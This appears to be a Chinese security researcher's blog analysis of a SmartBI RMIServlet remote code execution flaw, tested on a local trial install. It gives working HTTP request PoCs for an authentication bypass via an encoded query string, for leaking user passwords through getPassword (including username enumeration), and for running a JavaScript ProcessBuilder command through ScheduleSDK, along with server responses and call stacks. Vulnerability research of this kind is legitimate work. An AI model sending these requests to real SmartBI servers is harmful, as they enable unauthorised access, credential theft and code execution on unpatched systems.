1Day 跟踪:SmartBI RMIServlet 远程代码执行漏洞
1Day 跟踪:SmartBI RMIServlet 远程代码执行漏洞
参考
漏洞描述
Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。
2023年7月,Smartbi官方修复了在某种特定情况下远程代码执行漏洞。攻击者可构造恶意请求执行敏感操作,甚至远程代码执行。
漏洞影响范围
Smartbi v8 部分版本 Smartbi v9 全版本 Smartbi v10 全版本
环境
官网申请个人免费试用,填写资料完成之后自动下载 Smartbi-License.xml
,配置过程如下。本次下载版本为 10.5.8
。
Build: 2023-05-20 17:38:24 Version:10.5.882241.23206 TAG:Hotfix_SmartbiV10_5_8_20230517
这里将采用 Windows 安装的方式部署 Smartbi,参考链接如下:Windows EXE安装包部署 Smartbi。
一些过程中出现的用户和密码。
使用 demo / demo
登陆进去即可验证是否完成安装。
分析
PoC
POST /smartbi/vision/RMIServlet?windowUnloading=&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
className=UserService&methodName=isLogged¶ms=[]
可以看到直接访问 /smartbi/vision/RMIServlet
会直接让我们登陆。
但是使用 PoC 发送报文之后没有让我们登陆,绕过了登陆。
HTTP/1.1 200
Set-Cookie: JSESSIONID=8FC34D36AA7B22B134ABF2D5CAEC8B72; Path=/smartbi; HttpOnly
Content-Type: text/plain;charset=UTF-8
Content-Length: 41
Date: Wed, 28 Jun 2023 04:12:33 GMT
:"H~CxOm~"{q,"H~*2KC"{-EK*~,"m2HECcO'"{q}
远程调试
startup.cmd
将文件中的最后一行添加调试参数。
"%JAVA_HOME%\bin\java.exe" %LOGGING_CONFIG% %LOGGING_MANAGER% %JAVA_OPTS% -server -Dfile.encoding=GBK -Duser.region=CN -Duser.language=zh -Djava.awt.headless=true -XX:MaxMetaspaceSize=512m -XX:-OmitStackTraceInFastThrow -Xloggc:%tomcatdir%\bin\gc.log -Dmail.mime.splitlongparameters=false -XX:+HeapDumpOnOutOfMemoryError -Dlog4j.configuration=log4j.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs="%tomcatdir%\endorsed" -Dcatalina.base="%tomcatdir%" -Dcatalina.home="%tomcatdir%" -Djava.io.tmpdir="%tomcatdir%\temp" -cp "tomcat-juli.jar;bootstrap.jar;log4j-1.2.13.jar;." org.apache.catalina.startup.Bootstrap
修改成如下,接着重启 Smartbi 即可。
"%JAVA_HOME%\bin\java.exe" %LOGGING_CONFIG% %LOGGING_MANAGER% %JAVA_OPTS% -server -Dfile.encoding=GBK -Duser.region=CN -Duser.language=zh -Djava.awt.headless=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -XX:MaxMetaspaceSize=512m -XX:-OmitStackTraceInFastThrow -Xloggc:%tomcatdir%\bin\gc.log -Dmail.mime.splitlongparameters=false -XX:+HeapDumpOnOutOfMemoryError -Dlog4j.configuration=log4j.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs="%tomcatdir%\endorsed" -Dcatalina.base="%tomcatdir%" -Dcatalina.home="%tomcatdir%" -Djava.io.tmpdir="%tomcatdir%\temp" -cp "tomcat-juli.jar;bootstrap.jar;log4j-1.2.13.jar;." org.apache.catalina.startup.Bootstrap
越权分析
主要是过程的是 CheckIsLoggedFilter
-> RMIServlet
。
在 CheckIsLoggedFilter
做了一个检查,FilterUtil.needToCheck(className, methodName)
传入的正是我们可以控制的参数。
} else if (FilterUtil.needToCheck(className, methodName) && (!"true".equals(session.getAttribute("is_config_login")) || !this.monitorInvoke(className, methodName))) {
检查方法如下,PoC 中使用的是 UserService
和 checkVersion
,在 PoC 只是对应的编码过的字符串。
public static boolean needToCheck(String className, String methodName) {
if (Objects.equals(className, "ProxyConfigXmlService") && Objects.equals(methodName, "testConnection")) {
return false;
} else if (StringUtil.isNullOrEmpty(className) && StringUtil.isNullOrEmpty(methodName)) {
return true;
} else if (!StringUtil.isNullOrEmpty(className) && !className.equals("BIConfigService")) {
if (className.equals("UserService") && StringUtil.isInArray(methodName, new String[]{"login", "loginFor", "clickLogin", "loginFromDB", "logout", "isLogged", "isLoginAs", "checkVersion", "hasLicense", "autoLoginByPublicUser"})) {
return false;
} else if (StringUtil.isInArray(methodName, new String[]{"isShareResource", "isPublicShareResource"})) {
return false;
} else if (className.equals("CompositeService") && StringUtil.isInArray(methodName, new String[]{"compositeLogin", "compositeAppLogin", "compositeMobileXLogin", "compositeMobileXSessionLogin", "compositeMobileXSessionLoginExt"})) {
return false;
} else if (className.equals("BusinessViewService") && StringUtil.isInArray(methodName, new String[]{"closeBusinessView"})) {
return false;
} else if (className.equals("DataSourceService") && StringUtil.isInArray(methodName, new String[]{"clearClientData"})) {
return false;
} else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getDefaultEncryptType"})) {
return false;
} else if (className.equals("MDSService") && StringUtil.isInArray(methodName, new String[]{"getOAMSURL"})) {
return false;
} else if (className.equals("DPPortalService") && StringUtil.isInArray(methodName, new String[]{"removePageBO"})) {
return false;
} else if (!"login".equals(methodName) && !"getAppTitle".equals(methodName)) {
if (className.equals("CommonService") && StringUtil.isInArray(methodName, new String[]{"log"})) {
return false;
} else if (className.equals("FingerTipsDataModule")) {
return false;
} else {
return !className.equals("ConfigClientService") || !StringUtil.isInArray(methodName, new String[]{"getNetWorkAlgorithmConfig"});
}
} else {
return false;
}
} else {
return false;
}
}
接下来到 RMIServlet
有一个 invoke
方法执行任意类任意方法。(下面其实不是)
在 smartbi.framework.rmi.ClientService#executeInternal
中有一下看起来很像任意命令执行了。
调用栈如下:
executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
invoke 调用的疑惑
这里的 methodList
内容其实是 smartbi.sdk.service.user.UserManagerService
的方法名称。一开始以为是简单的反射命令执行,但是后来发现对类有限制,就是在 RMIModule
的 对象 e
,有以下:(还没有理解这里为什么只是这些类)
CompositeService
PortalService
DashboardService
ParameterPortletService
ManagementService
ClearPoolCacheService
BusinessViewService
InsightService
SelfQueryModule
AugmentedDataSetForVModule
OrderRuleService
MapAreaService
DataSourceService
ChartService
AIextOperationLogService
ConfigClientService
SystemCheckService
ExportService
ScheduleQueryModule
CalcFieldService
SmartbiTemplateDemoService
UnionDataService
IPadPortalModule
MetadataService
ResourceAuditService
ExpressionTemplateModule
RepositoryService
ExpressionTemplateService
DPPortalService
StateService
TaskService
QuestionModule
MessageService
LanguageModule
SessionService
MessageModule
TransformRuleService
WorkflowModule
DatasetMetaDataService
UserPropertyService
UrlLinkService
CatalogPublishService
SpreadSheetReportModule
ConditionPanelService
EtlTaskScheduleService
MacroService
SocialContactService
BusinessThemeService
SpreadsheetReportExtendOptionModule
NavigationModule
WebsheetModule
OlapMetadataService
SessionLogService
GeoMapAreaService
DataAcquisitionModule
SecurityPatchModule
MetricsModelForVModule
MapAreaSearchService
AlertModule
ParamService
ClientReportService
ParameterPanelService
OfflineModule
RuntimeService
NLAService
AppStoreModule
MigrateModule
SmartbiXModule
SocialContactShareService
ExtFunctionModule
MDPService
OfficeReportModule
WarningStyleService
JobFlowTaskScheduleService
UploadImageService
MyFavoriteService
FilterService
CommonService
ModelQueryForVModule
OlapQueryService
RowPermissionService
CombinedQueryService
IPadModule
BIConfigService
SpreadsheetReportModule
mobilePortalModule
MaskingRuleService
OperationLogService
DataPackageModule
ScheduleSDK
UserService
ReportSourcesService
TimeConsumingModule
CatalogService
OfflineExportService
AIextRemoteService
RelationPaneService
ScheduleTaskStorageService
ExpressionService
OlapQueryClientService
URLParameterModule
MetricsModule
HotReportModule
可是可以看到 UserManagerModule
根本不在里面,里面只有 UserService
。怎么从 PoC 中的 UserService
参数执行到 UserManagerModule
对象里面的方法的。
ClientService
中:
Object result = method.invoke(this.module, objParams);
this.module
是什么?是构造函数传入的。
public ClientService(IModule module) {
this.module = module;
this.registerMethods();
}
那么是在哪里构造的呢。
ClientService service = RMIModule.getInstance().getService(className);
这里传入的就是 UserService
?吗?不是,这个不是直接构造方法实例化的对象。而是 getService
直接拿回来的。
public ClientService getService(String var1) {
return (ClientService)this.e.get(var1);
}
这里可以看到这个的 module
是 UserManagerModule
对象。居然没有对上,真的奇怪。
多看几个,明显有些是名称一致的,有些不是。也就是说,service
和 module
可能是不一样的。
现在问题变成了,我们可以任意调用这个 e
对象下的 value
的 module
的对象的任意方法,我们要找到哪个方法是可以命令执行的了。
先来看有哪些 module
的类。
IDEA 运行这段代码即可计算出来
for (Map.Entry<Object, Object> entry : e.entrySet()) { Object key = entry.getKey(); Object value = entry.getValue(); if (value instanceof ClientService) { ClientService clientService = (ClientService) value; IModule module = clientService.getModule(); String moduleName = module.getClass().getName(); System.out.println(key + ":" + moduleName); } else if (value instanceof i) { i error = (i) value; } }
最终的结果是这样,格式是 value:module
。
LocalManagementHandler:smartbi.management.LocalManagementHandler
CompositeService:smartbi.composite.CompositeModule
PortalService:smartbi.freequery.client.portal.PortalService
DashboardService:smartbi.decisionpanel.dashboard.DashboardService
ParameterPortletService:smartbi.parameterportlet.ParameterPortletService
ManagementService:smartbi.management.ManagementService
ClearPoolCacheService:smartbi.composite.ClearPoolCacheService
BusinessViewService:smartbi.freequery.client.businessview.BusinessViewService
InsightService:smartbi.insight.InsightService
SelfQueryModule:smartbi.spreadsheetreport.core.selfquery.SelfQueryModule
AugmentedDataSetForVModule:smartbix.smartbi.AugmentedDataSetForVModule
OrderRuleService:smartbi.freequery.client.orderrule.OrderRuleService
MapAreaService:smartbi.chart.maparea.MapAreaService
DataSourceService:smartbi.freequery.client.datasource.DataSourceService
ChartService:smartbi.chart.ChartService
AIextOperationLogService:smartbi.aiext.service.AIextOperationLogService
ConfigClientService:smartbi.freequery.client.config.ConfigClientService
SystemCheckService:smartbi.systemchecker.SystemCheckService
ExportService:smartbi.decisionpanel.export.ExportService
ScheduleQueryModule:smartbi.freequery.schedule.ScheduleQueryModule
CalcFieldService:smartbi.freequery.client.calcfield.CalcFieldService
SmartbiTemplateDemoService:smartbi.smartbitemplatedemo.SmartbiTemplateDemoService
UnionDataService:smartbi.freequery.client.uniondata.UnionDataService
IPadPortalModule:smartbi.decisionpanel.portal.IPadPortalModule
MetadataService:smartbi.metadata.MetadataModule
ResourceAuditService:smartbi.freequery.systemmanager.ResourceAuditService
ExpressionTemplateModule:smartbi.exptemplate.ExpressionTemplateModule
RepositoryService:smartbi.auditing.service.RepositoryService
ExpressionTemplateService:smartbi.exptemplate.ExpressionTemplateService
DPPortalService:smartbi.decisionpanel.portal.PortalModule
StateService:smartbi.state.StateModule
TaskService:smartbi.auditing.service.TaskService
QuestionModule:smartbi.eagle.question.QuestionModule
MessageService:smartbi.message.MessageService
LanguageModule:smartbi.repository.LanguageModule
SessionService:smartbi.session.SessionService
MessageModule:smartbi.message.MessageModule
TransformRuleService:smartbi.freequery.client.transformrule.TransformRuleService
WorkflowModule:smartbi.workflow.WorkflowModule
DatasetMetaDataService:smartbi.freequery.metadata.DatasetMetaDataService
UserPropertyService:smartbi.freequery.client.userproperty.UserPropertyService
UrlLinkService:smartbi.freequery.client.urllink.URLLinkService
CatalogPublishService:smartbi.freequery.client.publish.CatalogPublishService
SpreadSheetReportModule:smartbi.spreadsheetreport.SpreadsheetReportModule
ConditionPanelService:smartbi.condition.ConditionPanelService
EtlTaskScheduleService:smartbix.datamining.etl.EtlTaskScheduleService
MacroService:smartbi.macro.MacroService
SocialContactService:smartbi.module.socialcontact.SocialContactService
BusinessThemeService:smartbi.freequery.client.businesstheme.BusinessThemeService
SpreadsheetReportExtendOptionModule:smartbi.spreadsheetreport.SpreadsheetReportExtendOptionModule
NavigationModule:smartbi.eagle.navigation.NavigationModule
WebsheetModule:smartbi.websheet.WebsheetModule
OlapMetadataService:smartbi.olap.OlapMetadataService
SessionLogService:smartbi.logs.SessionLogService
GeoMapAreaService:smartbi.chart.maparea.GeoMapAreaService
DataAcquisitionModule:smartbi.daq.DataAcquisitionModule
SecurityPatchModule:smartbi.security.patch.SecurityPatchModule
MetricsModelForVModule:smartbix.smartbi.metricsmodel.MetricsModelForVModule
MapAreaSearchService:smartbi.chart.maparea.MapAreaSearchService
AlertModule:smartbi.alert.AlertModule
ParamService:smartbi.freequery.client.parameter.ParamService
ClientReportService:smartbi.freequery.client.simplereport.ClientReportService
ParameterPanelService:smartbi.param.ParameterPanelService
OfflineModule:smartbi.offline.OfflineModule
RuntimeService:smartbi.auditing.service.RuntimeService
NLAService:smartbi.freequery.client.nla.NLAService
AppStoreModule:smartbi.eagle.appstore.AppStoreModule
MigrateModule:smartbi.freequery.migrate.MigrateModule
SmartbiXModule:smartbix.smartbi.SmartbiXModule
SocialContactShareService:smartbi.module.socialcontactshare.SocialContactShareService
ExtFunctionModule:smartbi.ext.function.ExtFunctionModule
MDPService:smartbi.mdp.MDPService
OfficeReportModule:smartbi.officereport.OfficeReportModule
WarningStyleService:smartbi.freequery.client.warningstyle.WarningStyleService
JobFlowTaskScheduleService:smartbix.jobflow.service.JobFlowTaskScheduleService
UploadImageService:smartbi.uploadimg.UploadImageService
MyFavoriteService:smartbi.freequery.client.myfavorite.MyFavoriteService
FilterService:smartbi.freequery.client.filter.FilterService
CommonService:smartbi.freequery.client.common.CommonService
ModelQueryForVModule:smartbix.smartbi.modelquery.ModelQueryForVModule
OlapQueryService:smartbi.olap.OlapQueryService
RowPermissionService:smartbi.freequery.client.permission.RowPermissionService
CombinedQueryService:smartbi.combinedquery.CombinedQueryService
IPadModule:smartbi.ipad.IPadModule
BIConfigService:smartbi.config.BIConfigService
SpreadsheetReportModule:smartbi.spreadsheetreport.SpreadsheetReportModule
mobilePortalModule:smartbi.mobileportal.MobilePortalModule
MaskingRuleService:smartbi.freequery.client.maskingrule.MaskingRuleService
OperationLogService:smartbi.repository.OperationLogModule
DataPackageModule:smartbi.datapackage.DataPackageModule
ScheduleSDK:smartbi.scheduletask.runneragent.ScheduleSDK
UserService:smartbi.usermanager.UserManagerModule$$EnhancerByCGLIB$$8ec531ea
ReportSourcesService:smartbi.freequery.reportsources.ReportSourcesService
TimeConsumingModule:smartbi.timeconsuming.TimeConsumingModule
CatalogService:smartbi.catalogtree.CatalogTreeModule
OfflineExportService:smartbi.module.export.service.OfflineExportService
AIextRemoteService:smartbi.aiext.service.AIextRemoteService
RelationPaneService:smartbi.freequery.client.relationpane.RelationPaneService
ScheduleTaskStorageService:smartbi.scheduletask.repository.ScheduleTaskStorageService
ExpressionService:smartbi.freequery.client.expression.ExpressionService
OlapQueryClientService:smartbi.olap.client.OlapQueryClientService
URLParameterModule:smartbi.url.URLParameterModule
MetricsModule:smartbi.metrics.MetricsModule
HotReportModule:smartbi.hotreport.HotReportModule
暂时没有找到可以命令执行的类。
任意密码泄露
上面说过我们可以调用smartbi.sdk.service.user.UserManagerService
中的任意方法,我们看到有一个可以查看密码的方法 getPassword
。
public String getPassword(String userName) {
HttpServletRequest request = this.stateModule.getRequest();
if (request != null) {
String className = (String)request.getAttribute("className");
if (className == null) {
className = request.getParameter("className");
}
if ("UserService".equals(className)) {
String configValue = this.systemConfigService.getValue("ALLOW_CALL_GET_PASSWORD_METHOD");
if ("false".equals(configValue)) {
String detail = StringUtil.getLanguageValue("CouldNotGetPasswordAlert");
throw (new SmartbiException(CommonErrorCode.NO_PERMISSION)).setDetail("\n" + detail);
}
}
}
UserBO userBO = UserManager.getInstance().getUserByName(userName);
if (userBO != null) {
return userBO.getPassword();
} else {
throw new SmartbiException(UserManagerErrorCode.NOT_EXIST_USER);
}
}
其实账号密码是明文保存在默认安装的 MySQL 中的,我们发送请求报文后它会返回你传入用户的密码的 MD5 的值。
发送 PoC
POST /smartbi/vision/RMIServlet?windowUnloading=&%63%6c%61%73%73%4e%61%6d%65%3d%55%73%65%72%53%65%72%76%69%63%65%26%6d%65%74%68%6f%64%4e%61%6d%65%3d%63%68%65%63%6b%56%65%72%73%69%6f%6e%26%70%61%72%61%6d%73%3d%5b%5d HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
className=UserService&methodName=getPassword¶ms=["demo"]
值得注意的是,返回密码 MD5 值会多一个 0。这里的前提是你提前知道某个账户的账户名。假如没有查询的用户的话返回的内容会有报错,可以凭此来进行穷举用户名称。
返回的报文
HTTP/1.1 200
Set-Cookie: JSESSIONID=B3B4D8BE7ABFCC463F74EDCB124748E0; Path=/smartbi; HttpOnly
Content-Type: text/plain;charset=UTF-8
Content-Length: 71
Date: Sat, 01 Jul 2023 05:35:52 GMT
{"retCode":0,"result":"0fe01ce2a7fbac8fafaed7c982a04e229","duration":1}
默认的用户有:admin public scheduleAdmin service system。
这里发现其实请求默认账号的密码的时候会直接返回明文密码。
命令执行尝试
DataSourceService:smartbi.freequery.client.datasource.DataSourceService
的 JDBC 反序列化和 JNDI 注入都有防护,无法绕过命令执行。
利用失败调用栈
getConnection:831, ConnectionPool (smartbi.connectionpool)
getConnection:790, ConnectionPool (smartbi.connectionpool)
testConnection:655, MetaDataServiceImpl (smartbi.freequery.basicdata)
simpleTestConnection:2047, DataSourceService (smartbi.freequery.client.datasource)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
改管理员密码:
UPDATE t_user SET c_userpwd = '2admin' WHERE c_username = 'admin';
重启 Smartbi
执行 JS 代码
<init>:39, SelfDefineTaskBO (smartbi.scheduletask.task)
testSelfDefineTask:419, ScheduleSDK (smartbi.scheduletask.runneragent)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
executeInternal:138, ClientService (smartbi.framework.rmi)
execute:120, ClientService (smartbi.framework.rmi)
processExecute:198, RMIServlet (smartbi.framework.rmi)
doPost:121, RMIServlet (smartbi.framework.rmi)
service:682, HttpServlet (javax.servlet.http)
service:765, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:249, ExtensionFilter$1 (smartbi.extension)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilter:77, PatchFilter (smartbi.security.patch)
doFilter:273, ExtensionFilter$2 (smartbi.extension)
doFilterInternal:276, ExtensionFilter (smartbi.extension)
doFilter:127, ExtensionFilter (smartbi.extension)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:87, TransactionFilter (smartbi.framework.rmi)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:238, GZIPFilter (smartbi.freequery.filter)
doFilter:33, Filter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:93, ExceptionResponseFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:240, CheckIsLoggedFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:45, CheckRefererFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:62, CheckHttpMethodFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, TraceFilter (smartbi.freequery.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:131, RedisSessionFilter (smartbi.framework)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
当 admin 账户激活的情况下,获取到用户的 Cookie 之后可以在后台调用任意 JS 代码达到命令执行的效果。
POST /smartbi/vision/RMIServlet?windowUnloading=&%63%6c%61%73%73%4e%61%6d%65%3d%55%73%65%72%53%65%72%76%69%63%65%26%6d%65%74%68%6f%64%4e%61%6d%65%3d%63%68%65%63%6b%56%65%72%73%69%6f%6e%26%70%61%72%61%6d%73%3d%5b%5d HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Length: 159
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Cookie: JSESSIONID=D8E6B3AC7418E626FED2381BF4E651DB
className=ScheduleSDK&methodName=testSelfDefineTask¶ms=["ikun","ikun","ikun","(new Packages.java.lang.ProcessBuilder(\"calc.exe\")).start();","demo","123"]